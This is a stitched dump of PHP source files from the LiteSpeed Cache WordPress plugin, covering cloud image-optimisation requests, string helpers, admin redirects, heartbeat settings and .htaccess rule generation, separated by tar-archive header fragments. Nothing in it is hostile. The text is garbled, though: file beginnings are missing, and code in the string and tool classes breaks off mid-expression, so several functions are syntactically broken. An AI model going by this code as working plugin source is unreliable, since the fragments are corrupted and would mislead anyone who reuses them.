request to Cloud server * * @since 1.6.7 * @access private * @param int $allowance The allowance limit. * @return array|void Array with pushed and accepted counts. */ private function _send_request( $allowance ) { global $wpdb; $q = "SELECT id, src, post_id FROM `$this->_table_img_optming` WHERE optm_status=%d LIMIT %d"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $q = $wpdb->prepare( $q, [ self::STATUS_RAW, $allowance ] ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $_img_in_queue = $wpdb->get_results( $q ); if ( ! $_img_in_queue ) { return; } self::debug( 'Load img in queue [total] ' . count( $_img_in_queue ) ); $list = []; foreach ( $_img_in_queue as $v ) { $_img_info = $this->__media->info( $v->src, $v->post_id ); // If record is invalid, remove from img_optming table if ( empty( $_img_info['url'] ) || empty( $_img_info['md5'] ) ) { // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $wpdb->query( $wpdb->prepare( "DELETE FROM `$this->_table_img_optming` WHERE id=%d", $v->id ) ); continue; } $img = [ 'id' => $v->id, 'url' => $_img_info['url'], 'md5' => $_img_info['md5'], ]; // Build the needed image types for request as we now support soft reset counter if ( $this->_format ) { $target_file_path = $v->src . '.' . $this->_format; if ( $this->__media->info( $target_file_path, $v->post_id ) ) { $img[ 'optm_' . $this->_format ] = 0; } } if ( $this->conf( self::O_IMG_OPTM_ORI ) ) { $extension = pathinfo( $v->src, PATHINFO_EXTENSION ); $target_file_path = substr( $v->src, 0, -strlen( $extension ) ) . 'bk.' . $extension; if ( $this->__media->info( $target_file_path, $v->post_id ) ) { $img['optm_ori'] = 0; } } $list[] = $img; } if ( ! $list ) { $msg = __( 'No valid image found in the current request.', 'litespeed-cache' ); Admin_Display::error( $msg ); return; } $data = [ 'action' => self::CLOUD_ACTION_NEW_REQ, 'list' => wp_json_encode( $list ), 'optm_ori' => $this->conf( self::O_IMG_OPTM_ORI ) ? 1 : 0, 'optm_lossless' => $this->conf( self::O_IMG_OPTM_LOSSLESS ) ? 1 : 0, 'keep_exif' => $this->conf( self::O_IMG_OPTM_EXIF ) ? 1 : 0, ]; if ( $this->_format ) { $data[ 'optm_' . $this->_format ] = 1; } // Push to Cloud server $json = Cloud::post( Cloud::SVC_IMG_OPTM, $data ); if ( ! $json ) { return; } // Check data format if ( empty( $json['ids'] ) ) { self::debug( 'Failed to parse response data from Cloud server ', $json ); $msg = __( 'No valid image found by Cloud server in the current request.', 'litespeed-cache' ); Admin_Display::error( $msg ); return; } self::debug( 'Returned data from Cloud server count: ' . count( $json['ids'] ) ); $ids = implode( ',', array_map( 'intval', $json['ids'] ) ); // Update img table $q = "UPDATE `$this->_table_img_optming` SET optm_status = '" . self::STATUS_REQUESTED . "' WHERE id IN ( $ids )"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $q ); $this->_summary['last_requested'] = time(); self::save_summary(); return [ count( $list ), count( $json['ids'] ) ]; } /** * Parse wp's meta value * * @since 1.6.7 * @access private * @param object $v The database row object. * @return array|false The parsed meta value or false on failure. */ private function _parse_wp_meta_value( $v ) { if ( empty( $v ) ) { self::debug( 'bypassed parsing meta due to null value' ); return false; } if ( ! $v->meta_value ) { self::debug( 'bypassed parsing meta due to no meta_value: pid ' . $v->post_id ); return false; } // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged -- Suppress warnings from corrupted metadata $meta_value = @maybe_unserialize( $v->meta_value ); if ( ! is_array( $meta_value ) ) { self::debug( 'bypassed parsing meta due to meta_value not json: pid ' . $v->post_id ); return false; } if ( empty( $meta_value['file'] ) ) { self::debug( 'bypassed parsing meta due to no ori file: pid ' . $v->post_id ); return false; } return $meta_value; } } img-optm.cls.php000064400000012407152077520300007573 0ustar00wp_upload_dir = wp_upload_dir(); $this->__media = $this->cls( 'Media' ); $this->__data = $this->cls( 'Data' ); $this->_table_img_optm = $this->__data->tb( 'img_optm' ); $this->_table_img_optming = $this->__data->tb( 'img_optming' ); $this->_summary = self::get_summary(); if ( empty( $this->_summary['next_post_id'] ) ) { $this->_summary['next_post_id'] = 0; } if ( $this->conf( Base::O_IMG_OPTM_WEBP ) ) { $this->_format = 'webp'; if ( $this->conf( Base::O_IMG_OPTM_WEBP ) === 2 ) { $this->_format = 'avif'; } } // Allow users to ignore custom sizes. $this->_sizes_skipped = apply_filters( 'litespeed_imgoptm_sizes_skipped', $this->conf( Base::O_IMG_OPTM_SIZES_SKIPPED ) ); } /** * Handle all request actions from main cls * * @since 2.0 * @access public */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_RESET_ROW: // phpcs:ignore WordPress.Security.NonceVerification.Recommended $id = ! empty( $_GET['id'] ) ? absint( wp_unslash( $_GET['id'] ) ) : false; $this->reset_row( $id ); break; case self::TYPE_CALC_BKUP: $this->_calc_bkup(); break; case self::TYPE_RM_BKUP: $this->rm_bkup(); break; case self::TYPE_NEW_REQ: $this->new_req(); break; case self::TYPE_RESCAN: $this->_rescan(); break; case self::TYPE_RESET_COUNTER: $this->_reset_counter(); break; case self::TYPE_DESTROY: $this->_destroy(); break; case self::TYPE_CLEAN: $this->clean(); break; case self::TYPE_PULL: self::start_async(); break; case self::TYPE_BATCH_SWITCH_ORI: case self::TYPE_BATCH_SWITCH_OPTM: $this->batch_switch( $type ); break; case substr( $type, 0, 4 ) === 'avif': case substr( $type, 0, 4 ) === 'webp': case substr( $type, 0, 4 ) === 'orig': $this->_switch_optm_file( $type ); break; default: break; } Admin::redirect(); } } str.cls.php000064400000006124152077520300006651 0ustar00xxxx` to `xxxx`. * * @since 7.0 * @access public * @param string $html The HTML string to process. * @return string The processed HTML string. */ public static function translate_qc_apis( $html ) { preg_match_all( '/ $html_to_be_replaced ) { $link = ' [], 'class' => [], 'target' => [], 'src' => [], 'color' => [], 'href' => [], ]; $tags = [ 'hr', 'h3', 'h4', 'h5', 'ul', 'li', 'br', 'strong', 'p', 'span', 'img', 'a', 'div', 'font' ]; $allowed_tags = []; foreach ( $tags as $tag ) { $allowed_tags[ $tag ] = $common_attrs; } return wp_kses( $html, $allowed_tags ); } /** * Generate random string * * Creates a random string of specified length and character type. * * @since 1.3 * @access public * @param int $len Length of string. * @param int $type Character type: 1-Number, 2-LowerChar, 4-UpperChar, 7-All. * @return string Randomly generated string. */ public static function rrand( $len, $type = 7 ) { switch ( $type ) { case 0: $charlist = '012'; break; case 1: $charlist = '0123456789'; break; case 2: $charlist = 'abcdefghijklmnopqrstuvwxyz'; break; case 3: $charlist = '0123456789abcdefghijklmnopqrstuvwxyz'; break; case 4: $charlist = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; break; case 5: $charlist = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; break; case 6: $charlist = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; break; case 7: $charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; break; } $str = ''; $max = strlen( $charlist ) - 1; for ( $i = 0; $i < $len; $i++ ) { $str .= $charlist[ random_int( 0, $max ) ]; } return $str; } /** * Trim double quotes from a string * * Removes double quotes from a string for use as a preformatted src in HTML. * * @since 6.5.3 * @access public * @param string $text The string to process. * @return string The string with double quotes removed. */ public static function trim_quotes( $text ) { return str_replace( '"', '', $text ); } } admin.cls.php000064400000014204152077520300007127 0ustar00cls( 'Admin_Display' ); // Initialize admin actions. add_action( 'admin_init', [ $this, 'admin_init' ] ); // Add link to plugin list page. add_filter( 'plugin_action_links_' . LSCWP_BASENAME, [ $this->cls( 'Admin_Display' ), 'add_plugin_links' ] ); } /** * Callback that initializes the admin options for LiteSpeed Cache. * * @since 1.0.0 * @return void */ public function admin_init() { // Hook to reset optimization data when image is replaced. add_filter( 'wp_generate_attachment_metadata', [ $this, 'wp_generate_attachment_metadata' ], 10, 3 ); // Hook attachment upload auto optimization. if ( $this->conf( Base::O_IMG_OPTM_AUTO ) ) { add_filter( 'wp_update_attachment_metadata', [ $this, 'wp_update_attachment_metadata' ], 9999, 2 ); } $this->_proceed_admin_action(); // Terminate if user doesn't have access to settings. $capability = is_network_admin() ? 'manage_network_options' : 'manage_options'; if ( ! current_user_can( $capability ) ) { return; } // Add privacy policy (since 2.2.6). if ( function_exists( 'wp_add_privacy_policy_content' ) ) { wp_add_privacy_policy_content( Core::NAME, Doc::privacy_policy() ); } $this->cls( 'Media' )->after_admin_init(); do_action( 'litespeed_after_admin_init' ); if ( $this->cls( 'Router' )->esi_enabled() ) { add_action( 'in_widget_form', [ $this->cls( 'Admin_Display' ), 'show_widget_edit' ], 100, 3 ); add_filter( 'widget_update_callback', __NAMESPACE__ . '\Admin_Settings::validate_widget_save', 10, 4 ); } } /** * Handle attachment metadata generation. * Reset optimization data if this is a replaced image (has existing optimization records). * * @since 7.8 * * @param array $metadata Attachment metadata. * @param int $attachment_id Attachment ID. * @param string $context Context: 'create' or 'update'. * @return array Filtered metadata. */ public function wp_generate_attachment_metadata( $metadata, $attachment_id, $context = 'create' ) { // Only process on 'create' context (replacement also uses 'create') if ( 'create' !== $context ) { return $metadata; } $img_optm = $this->cls( 'Img_Optm' ); // Check if has existing optimization records, if so it's a replacement if ( $img_optm->has_optm_record( $attachment_id, $metadata ) ) { self::debug( 'Image replaced, resetting optimization data [pid] ' . $attachment_id ); $img_optm->reset_row( $attachment_id, true ); } return $metadata; } /** * Handle attachment metadata update. * * @since 4.0 * * @param array $data Attachment meta. * @param int $post_id Attachment ID. * @return array Filtered meta. */ public function wp_update_attachment_metadata( $data, $post_id ) { $this->cls( 'Img_Optm' )->wp_update_attachment_metadata( $data, $post_id ); return $data; } /** * Run LiteSpeed admin actions routed via Router. * * @since 1.1.0 * @return void */ private function _proceed_admin_action() { $action = Router::get_action(); switch ( $action ) { case Router::ACTION_SAVE_SETTINGS: $this->cls( 'Admin_Settings' )->save( wp_unslash( $_POST ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing break; case Router::ACTION_SAVE_SETTINGS_NETWORK: $this->cls( 'Admin_Settings' )->network_save( wp_unslash( $_POST ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing break; default: break; } } /** * Clean up the input (array or scalar) of any extra slashes/spaces. * * @since 1.0.4 * * @param mixed $input The input value to clean. * @return mixed Cleaned value. */ public static function cleanup_text( $input ) { if ( is_array( $input ) ) { return array_map( __CLASS__ . '::cleanup_text', $input ); } return stripslashes(trim($input)); } /** * After a LSCWP_CTRL action, redirect back to same page * without nonce and action in the query string. * * If the redirect URL cannot be determined, redirects to the homepage. * * @since 1.0.12 * * @param string|false $url Optional destination URL. * @return void */ public static function redirect( $url = false ) { global $pagenow; // If originated, go back to referrer or home. if ( ! empty( $_GET['_litespeed_ori'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended $ref = wp_get_referer(); wp_safe_redirect( $ref ? $ref : get_home_url() ); exit; } if ( ! $url ) { $clean = []; // Sanitize current query args while removing our internals. if ( ! empty( $_GET ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended foreach ( $_GET as $k => $v ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( in_array( $k, [ Router::ACTION, Router::NONCE, Router::TYPE, 'litespeed_i', 'litespeed_tb' ], true ) ) { continue; } // Normalize to string for URL building. $clean[ $k ] = is_array( $v ) ? array_map( 'sanitize_text_field', wp_unslash( $v ) ) : sanitize_text_field( wp_unslash( $v ) ); } } $qs = ''; if ( ! empty( $clean ) ) { $qs = '?' . http_build_query( $clean ); } $url = is_network_admin() ? network_admin_url( $pagenow . $qs ) : admin_url( $pagenow . $qs ); } wp_safe_redirect( $url ); exit; } } tool.cls.php000064400000010254152077520300007015 0ustar00 [ 'User-Agent' => 'curl/8.7.1', ], ] ); if ( is_wp_error( $response ) ) { return esc_html__( 'Failed to detect IP', 'litespeed-cache' ); } $ip = trim( $response['body'] ); self::debug( 'result [ip] ' . $ip ); if ( Utility::valid_ipv4( $ip ) ) { return $ip; } return esc_html__( 'Failed to detect IP', 'litespeed-cache' ); } /** * Heartbeat Control * * Configures WordPress heartbeat settings for frontend, backend, and editor. * * @since 3.0 * @access public */ public function heartbeat() { add_action( 'wp_enqueue_scripts', [ $this, 'heartbeat_frontend' ] ); add_action( 'admin_enqueue_scripts', [ $this, 'heartbeat_backend' ] ); add_filter( 'heartbeat_settings', [ $this, 'heartbeat_settings' ] ); } /** * Heartbeat Control frontend control * * Manages heartbeat settings for the frontend. * * @since 3.0 * @access public */ public function heartbeat_frontend() { if ( ! $this->conf( Base::O_MISC_HEARTBEAT_FRONT ) ) { return; } if ( ! $this->conf( Base::O_MISC_HEARTBEAT_FRONT_TTL ) ) { wp_deregister_script( 'heartbeat' ); Debug2::debug( '[Tool] Deregistered frontend heartbeat' ); } } /** * Heartbeat Control backend control * * Manages heartbeat settings for the backend and editor. * * @since 3.0 * @access public */ public function heartbeat_backend() { if ( $this->is_editor() ) { if ( ! $this->conf( Base::O_MISC_HEARTBEAT_EDITOR ) ) { return; } if ( ! $this->conf( Base::O_MISC_HEARTBEAT_EDITOR_TTL ) ) { wp_deregister_script( 'heartbeat' ); Debug2::debug( '[Tool] Deregistered editor heartbeat' ); } } else { if ( ! $this->conf( Base::O_MISC_HEARTBEAT_BACK ) ) { return; } if ( ! $this->conf( Base::O_MISC_HEARTBEAT_BACK_TTL ) ) { wp_deregister_script( 'heartbeat' ); Debug2::debug( '[Tool] Deregistered backend heartbeat' ); } } } /** * Heartbeat Control settings * * Adjusts heartbeat interval settings based on configuration. * * @since 3.0 * @access public * @param array $settings Existing heartbeat settings. * @return array Modified heartbeat settings. */ public function heartbeat_settings( $settings ) { // Check editor first to make frontend editor valid too if ( $this->is_editor() ) { if ( $this->conf( Base::O_MISC_HEARTBEAT_EDITOR ) ) { $settings['interval'] = $this->conf( Base::O_MISC_HEARTBEAT_EDITOR_TTL ); Debug2::debug( '[Tool] Heartbeat interval set to ' . $this->conf( Base::O_MISC_HEARTBEAT_EDITOR_TTL ) ); } } elseif ( ! is_admin() ) { if ( $this->conf( Base::O_MISC_HEARTBEAT_FRONT ) ) { $settings['interval'] = $this->conf( Base::O_MISC_HEARTBEAT_FRONT_TTL ); Debug2::debug( '[Tool] Heartbeat interval set to ' . $this->conf( Base::O_MISC_HEARTBEAT_FRONT_TTL ) ); } } elseif ( $this->conf( Base::O_MISC_HEARTBEAT_BACK ) ) { $settings['interval'] = $this->conf( Base::O_MISC_HEARTBEAT_BACK_TTL ); Debug2::debug( '[Tool] Heartbeat interval set to ' . $this->conf( Base::O_MISC_HEARTBEAT_BACK_TTL ) ); } return $settings; } /** * Check if in editor * * Determines if the current request is within the WordPress editor. * * @since 3.0 * @access public * @return bool True if in editor, false otherwise. */ public function is_editor() { $request_uri = isset( $_SERVER['REQUEST_URI'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : ''; $res = is_admin() && Utility::str_hit_array( $request_uri, [ 'post.php', 'post-new.php' ] ); return apply_filters( 'litespeed_is_editor', $res ); } } htaccess.cls.php000064400000073476152077520300007654 0ustar00 */ private $__rewrite_on; /** * Lines that turn on and guard general rewrite/module blocks. * * @var array */ private $__rewrite_general; const LS_MODULE_START = ''; const EXPIRES_MODULE_START = ''; const LS_MODULE_END = ''; const LS_MODULE_REWRITE_START = ''; const REWRITE_ON = 'RewriteEngine on'; const LS_MODULE_DONOTEDIT = '## LITESPEED WP CACHE PLUGIN - Do not edit the contents of this block! ##'; const MARKER = 'LSCACHE'; const MARKER_NONLS = 'NON_LSCACHE'; const MARKER_LOGIN_COOKIE = '### marker LOGIN COOKIE'; const MARKER_ASYNC = '### marker ASYNC'; const MARKER_CRAWLER = '### marker CRAWLER'; const MARKER_MOBILE = '### marker MOBILE'; const MARKER_NOCACHE_COOKIES = '### marker NOCACHE COOKIES'; const MARKER_NOCACHE_USER_AGENTS = '### marker NOCACHE USER AGENTS'; const MARKER_CACHE_RESOURCE = '### marker CACHE RESOURCE'; const MARKER_BROWSER_CACHE = '### marker BROWSER CACHE'; const MARKER_MINIFY = '### marker MINIFY'; const MARKER_CORS = '### marker CORS'; const MARKER_WEBP = '### marker WEBP'; const MARKER_DROPQS = '### marker DROPQS'; const MARKER_START = ' start ###'; const MARKER_END = ' end ###'; /** * Initialize the class and set its properties. * * @since 1.0.7 */ public function __construct() { $this->_path_set(); $this->_default_frontend_htaccess = $this->frontend_htaccess; $this->_default_backend_htaccess = $this->backend_htaccess; $frontend_htaccess = defined( 'LITESPEED_CFG_HTACCESS' ) ? constant( 'LITESPEED_CFG_HTACCESS' ) : false; if ( $frontend_htaccess && substr( $frontend_htaccess, -10 ) === '/.htaccess' ) { $this->frontend_htaccess = $frontend_htaccess; } $backend_htaccess = defined( 'LITESPEED_CFG_HTACCESS_BACKEND' ) ? constant( 'LITESPEED_CFG_HTACCESS_BACKEND' ) : false; if ( $backend_htaccess && substr( $backend_htaccess, -10 ) === '/.htaccess' ) { $this->backend_htaccess = $backend_htaccess; } // Filter for frontend & backend htaccess path. $this->frontend_htaccess = apply_filters( 'litespeed_frontend_htaccess', $this->frontend_htaccess ); $this->backend_htaccess = apply_filters( 'litespeed_backend_htaccess', $this->backend_htaccess ); clearstatcache(); // Frontend .htaccess privilege. $test_permissions = file_exists( $this->frontend_htaccess ) ? $this->frontend_htaccess : dirname( $this->frontend_htaccess ); if ( is_readable( $test_permissions ) ) { $this->frontend_htaccess_readable = true; } if ( is_writable( $test_permissions ) ) { // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_is_writable -- Checking permissions, not file operations. $this->frontend_htaccess_writable = true; } // General Rewrite Rules (Files/Logs protection) $this->__rewrite_general = [ self::LS_MODULE_REWRITE_START, // self::REWRITE_ON, // RewriteEngine on 'RewriteRule ' . preg_quote(LITESPEED_DATA_FOLDER) . '/debug/.*\.log$ - [F,L]', // phpcs:ignore WordPress.PHP.PregQuoteDelimiter.Missing 'RewriteRule ' . preg_quote(self::CONF_FILE) . ' - [F,L]', // phpcs:ignore WordPress.PHP.PregQuoteDelimiter.Missing self::LS_MODULE_END, // ]; $this->__rewrite_on = [ 'CacheLookup on', 'RewriteRule .* - [E=Cache-Control:no-autoflush]', ]; // Backend .htaccess privilege. if ( $this->frontend_htaccess === $this->backend_htaccess ) { $this->backend_htaccess_readable = $this->frontend_htaccess_readable; $this->backend_htaccess_writable = $this->frontend_htaccess_writable; } else { $test_permissions = file_exists( $this->backend_htaccess ) ? $this->backend_htaccess : dirname( $this->backend_htaccess ); if ( is_readable( $test_permissions ) ) { $this->backend_htaccess_readable = true; } if ( is_writable( $test_permissions ) ) { // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_is_writable -- Checking permissions, not file operations. $this->backend_htaccess_writable = true; } } } /** * Get if htaccess file is readable. * * @since 1.1.0 * * @param string $kind 'frontend' or 'backend'. * @return bool */ private function _readable( $kind = 'frontend' ) { if ( 'frontend' === $kind ) { return $this->frontend_htaccess_readable; } if ( 'backend' === $kind ) { return $this->backend_htaccess_readable; } return false; } /** * Get if htaccess file is writable. * * @since 1.1.0 * * @param string $kind 'frontend' or 'backend'. * @return bool */ public function writable( $kind = 'frontend' ) { if ( 'frontend' === $kind ) { return $this->frontend_htaccess_writable; } if ( 'backend' === $kind ) { return $this->backend_htaccess_writable; } return false; } /** * Get frontend htaccess path. * * @since 1.1.0 * * @param bool $show_default Whether to return the default/auto-detected path. * @return string */ public static function get_frontend_htaccess( $show_default = false ) { if ( $show_default ) { return self::cls()->_default_frontend_htaccess; } return self::cls()->frontend_htaccess; } /** * Get backend htaccess path. * * @since 1.1.0 * * @param bool $show_default Whether to return the default/auto-detected path. * @return string */ public static function get_backend_htaccess( $show_default = false ) { if ( $show_default ) { return self::cls()->_default_backend_htaccess; } return self::cls()->backend_htaccess; } /** * Check to see if .htaccess exists starting at $start_path and going up directories until it hits DOCUMENT_ROOT. * * As dirname() strips the ending '/', paths passed in must exclude the final '/'. * * @since 1.0.11 * @access private * * @param string $start_path Absolute path to begin searching from (without trailing slash). * @return string|false The directory containing .htaccess, or false if not found. */ private function _htaccess_search( $start_path ) { while ( ! file_exists( $start_path . '/.htaccess' ) ) { if ( '/' === $start_path || ! $start_path ) { return false; } $doc_root = ! empty( $_SERVER['DOCUMENT_ROOT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['DOCUMENT_ROOT'] ) ) : ''; if ( $doc_root && wp_normalize_path( $start_path ) === wp_normalize_path( $doc_root ) ) { return false; } if ( dirname( $start_path ) === $start_path ) { return false; } $start_path = dirname( $start_path ); } return $start_path; } /** * Set the path class variables. * * @since 1.0.11 * @access private * @return void */ private function _path_set() { $frontend = Router::frontend_path(); $frontend_htaccess_search = $this->_htaccess_search( $frontend ); // The existing .htaccess path to be used for frontend .htaccess. $this->frontend_htaccess = $frontend; if ( $frontend_htaccess_search ) { $this->frontend_htaccess = $frontend_htaccess_search; } $this->frontend_htaccess .= '/.htaccess'; $backend = realpath( ABSPATH ); // /home/user/public_html/backend/ if ( $frontend === $backend ) { $this->backend_htaccess = $this->frontend_htaccess; return; } // Backend is a different path. $backend_htaccess_search = $this->_htaccess_search( $backend ); // Found affected .htaccess. if ( $backend_htaccess_search ) { $this->backend_htaccess = $backend_htaccess_search . '/.htaccess'; return; } // Frontend path is the parent of backend path. if ( 0 === stripos( (string) $backend, $frontend . '/' ) ) { // Backend uses frontend htaccess. $this->backend_htaccess = $this->frontend_htaccess; return; } $this->backend_htaccess = $backend . '/.htaccess'; } /** * Get corresponding htaccess path. * * @since 1.1.0 * * @param string $kind Frontend or backend. * @return string Path. */ public function htaccess_path( $kind = 'frontend' ) { switch ( $kind ) { case 'backend': $path = $this->backend_htaccess; break; case 'frontend': default: $path = $this->frontend_htaccess; break; } return $path; } /** * Get the content of the rules file. * * NOTE: will throw error if failed. * * @since 1.0.4 * @since 2.9 Used exception for failed reading. * @access public * * @param string $kind 'frontend' or 'backend'. * @return string The file content. * @throws \Exception If the file is not readable or cannot be retrieved. */ public function htaccess_read( $kind = 'frontend' ) { $path = $this->htaccess_path( $kind ); if ( ! $path || ! file_exists( $path ) ) { return "\n"; } if ( ! $this->_readable( $kind ) ) { Error::t( 'HTA_R' ); } $content = File::read( $path ); if ( false === $content ) { Error::t( 'HTA_GET' ); } // Remove ^M characters. $content = str_ireplace( "\x0D", '', $content ); return $content; } /** * Try to backup the .htaccess file if we didn't save one before. * * NOTE: will throw error if failed. * * @since 1.0.10 * @access private * * @param string $kind 'frontend' or 'backend'. * @return void * @throws \Exception If backup fails. */ private function _htaccess_backup( $kind = 'frontend' ) { $path = $this->htaccess_path( $kind ); if ( ! file_exists( $path ) ) { return; } if ( file_exists( $path . '.bk' ) ) { return; } $res = copy( $path, $path . '.bk' ); // Failed to backup, abort. if ( ! $res ) { Error::t( 'HTA_BK' ); } } /** * Get mobile view rule from htaccess file. * * NOTE: will throw error if failed. * * @since 1.1.0 * * @return string The user agent regex for mobile detection. * @throws \Exception If the rule cannot be found. */ public function current_mobile_agents() { $rules = $this->_get_rule_by( self::MARKER_MOBILE ); if ( ! isset( $rules[0] ) ) { Error::t( 'HTA_DNF', self::MARKER_MOBILE ); } $rule = trim( $rules[0] ); $match = substr( $rule, strlen( 'RewriteCond %{HTTP_USER_AGENT} ' ), -strlen( ' [NC]' ) ); if ( ! $match ) { Error::t( 'HTA_DNF', __( 'Mobile Agent Rules', 'litespeed-cache' ) ); } return $match; } /** * Parse rewrites rule from the .htaccess file. * * NOTE: will throw error if failed. * * @since 1.1.0 * @access public * * @param string $kind 'frontend' or 'backend'. * @return string The parsed login-cookie vary rule. * @throws \Exception If the rule cannot be found or is invalid. */ public function current_login_cookie( $kind = 'frontend' ) { $rule = $this->_get_rule_by( self::MARKER_LOGIN_COOKIE, $kind ); if ( ! $rule ) { Error::t( 'HTA_DNF', self::MARKER_LOGIN_COOKIE ); } if ( 0 !== strpos( $rule, 'RewriteRule .? - [E=' ) ) { Error::t( 'HTA_LOGIN_COOKIE_INVALID' ); } $rule_cookie = substr( $rule, strlen( 'RewriteRule .? - [E=' ), -1 ); if ( LITESPEED_SERVER_TYPE === 'LITESPEED_SERVER_OLS' ) { $rule_cookie = trim( $rule_cookie, '"' ); } // Drop `Cache-Vary:`. $rule_cookie = substr( $rule_cookie, strlen( 'Cache-Vary:' ) ); return $rule_cookie; } /** * Get rewrite rules based on the marker. * * @since 2.0 * @access private * * @param string $cond Marker constant (e.g. self::MARKER_MOBILE). * @param string $kind 'frontend' or 'backend'. * @return string|array|false Rule(s) or false if not found. */ private function _get_rule_by( $cond, $kind = 'frontend' ) { clearstatcache(); $path = $this->htaccess_path( $kind ); if ( ! $this->_readable( $kind ) ) { return false; } $rules = File::extract_from_markers( $path, self::MARKER ); if ( ! in_array( $cond . self::MARKER_START, $rules, true ) || ! in_array( $cond . self::MARKER_END, $rules, true ) ) { return false; } $key_start = array_search( $cond . self::MARKER_START, $rules, true ); $key_end = array_search( $cond . self::MARKER_END, $rules, true ); if ( false === $key_start || false === $key_end ) { return false; } $results = array_slice( $rules, $key_start + 1, $key_end - $key_start - 1 ); if ( ! $results ) { return false; } if ( count( $results ) === 1 ) { return trim( $results[0] ); } return array_filter( $results ); } /** * Generate browser cache rules. * * @since 1.3 * @access private * * @param array $cfg The plugin configuration. * @return array Rules set. */ private function _browser_cache_rules( $cfg ) { /** * Add ttl setting. * * @since 1.6.3 */ $id = Base::O_CACHE_TTL_BROWSER; $ttl = $cfg[ $id ]; $rules = array( self::EXPIRES_MODULE_START, 'ExpiresActive on', 'ExpiresByType application/pdf A' . $ttl, 'ExpiresByType image/x-icon A' . $ttl, 'ExpiresByType image/vnd.microsoft.icon A' . $ttl, 'ExpiresByType image/svg+xml A' . $ttl, '', 'ExpiresByType image/jpg A' . $ttl, 'ExpiresByType image/jpeg A' . $ttl, 'ExpiresByType image/png A' . $ttl, 'ExpiresByType image/gif A' . $ttl, 'ExpiresByType image/webp A' . $ttl, 'ExpiresByType image/avif A' . $ttl, '', 'ExpiresByType video/ogg A' . $ttl, 'ExpiresByType audio/ogg A' . $ttl, 'ExpiresByType video/mp4 A' . $ttl, 'ExpiresByType video/webm A' . $ttl, '', 'ExpiresByType text/css A' . $ttl, 'ExpiresByType text/javascript A' . $ttl, 'ExpiresByType application/javascript A' . $ttl, 'ExpiresByType application/x-javascript A' . $ttl, '', 'ExpiresByType application/x-font-ttf A' . $ttl, 'ExpiresByType application/x-font-woff A' . $ttl, 'ExpiresByType application/font-woff A' . $ttl, 'ExpiresByType application/font-woff2 A' . $ttl, 'ExpiresByType application/vnd.ms-fontobject A' . $ttl, 'ExpiresByType font/ttf A' . $ttl, 'ExpiresByType font/otf A' . $ttl, 'ExpiresByType font/woff A' . $ttl, 'ExpiresByType font/woff2 A' . $ttl, '', self::LS_MODULE_END, ); return $rules; } /** * Generate CORS rules for fonts. * * @since 1.5 * @access private * * @return array Rules set. */ private function _cors_rules() { return array( '', '', 'Header set Access-Control-Allow-Origin "*"', '', '', ); } /** * Generate rewrite rules based on settings. * * @since 1.3 * @access private * * @param array $cfg The settings to be used for rewrite rule. * @return array{0:array,1:array,2:array,3:array} Rules arrays [frontend_ls, backend_ls, frontend_nonls, backend_nonls]. */ private function _generate_rules( $cfg ) { $new_rules = array(); $new_rules_nonls = array(); $new_rules_backend = array(); $new_rules_backend_nonls = array(); // continual crawler. $new_rules[] = self::MARKER_ASYNC . self::MARKER_START; $new_rules[] = 'RewriteCond %{REQUEST_URI} /wp-admin/admin-ajax\.php'; $new_rules[] = 'RewriteCond %{QUERY_STRING} action=async_litespeed'; $new_rules[] = 'RewriteRule .* - [E=noabort:1]'; $new_rules[] = self::MARKER_ASYNC . self::MARKER_END; $new_rules[] = ''; // mobile agents. $id = Base::O_CACHE_MOBILE_RULES; if ( ( ! empty( $cfg[ Base::O_CACHE_MOBILE ] ) || ! empty( $cfg[ Base::O_GUEST ] ) ) && ! empty( $cfg[ $id ] ) ) { $new_rules[] = self::MARKER_MOBILE . self::MARKER_START; $new_rules[] = 'RewriteCond %{HTTP_USER_AGENT} ' . Utility::arr2regex( $cfg[ $id ], true ) . ' [NC]'; $new_rules[] = 'RewriteRule .* - [E=Cache-Control:vary=%{ENV:LSCACHE_VARY_VALUE}+ismobile]'; $new_rules[] = self::MARKER_MOBILE . self::MARKER_END; $new_rules[] = ''; } // nocache cookie. $id = Base::O_CACHE_EXC_COOKIES; if ( ! empty( $cfg[ $id ] ) ) { $new_rules[] = self::MARKER_NOCACHE_COOKIES . self::MARKER_START; $new_rules[] = 'RewriteCond %{HTTP_COOKIE} ' . Utility::arr2regex( $cfg[ $id ], true ); $new_rules[] = 'RewriteRule .* - [E=Cache-Control:no-cache]'; $new_rules[] = self::MARKER_NOCACHE_COOKIES . self::MARKER_END; $new_rules[] = ''; } // nocache user agents. $id = Base::O_CACHE_EXC_USERAGENTS; if ( ! empty( $cfg[ $id ] ) ) { $new_rules[] = self::MARKER_NOCACHE_USER_AGENTS . self::MARKER_START; $new_rules[] = 'RewriteCond %{HTTP_USER_AGENT} ' . Utility::arr2regex( $cfg[ $id ], true ) . ' [NC]'; $new_rules[] = 'RewriteRule .* - [E=Cache-Control:no-cache]'; $new_rules[] = self::MARKER_NOCACHE_USER_AGENTS . self::MARKER_END; $new_rules[] = ''; } // check login cookie. $vary_cookies = $cfg[ Base::O_CACHE_VARY_COOKIES ]; $id = Base::O_CACHE_LOGIN_COOKIE; if ( ! empty( $cfg[ $id ] ) ) { $vary_cookies[] = $cfg[ $id ]; } if 